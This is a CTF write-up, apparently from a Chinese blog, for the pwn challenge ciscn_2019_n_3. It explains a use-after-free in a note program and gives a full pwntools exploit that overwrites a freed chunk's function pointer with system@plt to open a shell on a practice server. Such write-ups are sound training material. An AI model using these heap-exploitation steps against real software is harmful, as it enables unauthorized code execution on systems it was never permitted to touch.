

# ciscn\_2019\_n\_3 Writeup

原创

Champa9ne 已于 2022-03-05 16:17:29 修改 266 收藏

文章标签: [pwn](#)

于 2021-05-10 19:25:52 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Callin/article/details/116606708>

版权

前提

- 本程序中的释放堆块后未对堆块指针置空, 从而可能引发UAF。
- 程序本身带有函数 `system()`, 可以直接使用 `system@plt` 的方式使用该函数。
- 涉及堆块结构的代码如下下文所示, 第一种块大小固定为 `0x10` (`0x11`), 有一种块大小可控, 最大为 `0x400`。

```
//当堆块结构是integer时
*(DWORD *)v3 = rec_int_print;
*(DWORD *)(v3 + 4) = rec_int_free;
*(DWORD *)(v3 + 8) = ask("Value");

//当堆块结构是text时
*(DWORD *)v3 = rec_int_print;
*(DWORD *)(v3 + 4) = rec_int_free;
*(DWORD *)(v3 + 8) = malloc(size); // *(DWORD *)(v3 + 8) = malloc(size);

//text中的chunk 相关
fgets(*(char **)(v3 + 8), size, stdin);

//其他函数
int __cdecl rec_int_print(int v3){
    return printf("Note(Type=Integer, Value=%d)\n", *(DWORD *)(v3 + 8));}

int __cdecl rec_int_free(void *ptr){
    free(ptr);
    return puts("Note freed!");}
```

思路

- 申请三个类型为 `integer` 的块 0、1、2。大小为固定的 `0x10`。
- 释放块 0、1。
- 重新申请一个类型为 `text` 的块, 大小指定为 `0xc` 以下。按照 `tcache bin` 先进先出的结构, `bin` 中的块 1 与 0 被依次分配, 且可以对块 1 进行写操作, 让指定位置的内容被覆盖为指定的内容。
  - 对块 0 的 `*(DWORD *)v3` 区域覆盖数据为 `sh/0/0`。这是因为长度不足以输入 `/bin/sh`, 且要考虑程序流程引发的 `\a`。
  - 对块 0 的 `(DWORD *)(v3 + 4)` 区域覆盖数据为 `system@plt`。
- 释放块 0 即可获得 shell。
  - 这是因为本程序的释放操作是使用指定块的 `(DWORD *)(v3 + 4)` 区域内的自定义函数完成的。该函数的结构如上文所示。

## 完整exp

```
from pwn import *

context.log_level = "debug"
io = remote("node3.buuoj.cn",27237)
elf = ELF("./n_3_ciscn_2019")

def _new(index,_type,_value,_lenth=0):
    io.sendlineafter("4. Purchase Pro Edition\nCNote > ","'1'")
    io.sendlineafter("Index > ",str(index))
    io.sendlineafter("Type > ",str(_type))
    if _type == 1:
        io.sendlineafter("Value > ",str(_value))
    else:
        io.sendlineafter("Length > ",str(_lenth))
        io.sendlineafter("Value > ",_value)

def _del(Index):
    io.sendlineafter("4. Purchase Pro Edition\nCNote > ","'2'")
    io.sendlineafter("Index > ",str(Index))

payload = b'sh\0\0' + p32(elf.symbols['system'])

_new(0,1,1)
_new(1,1,1)
_new(2,1,1)
_del(0)
_del(1)
_new(3,2,payload,0xc)
_del(0)

io.interactive()
```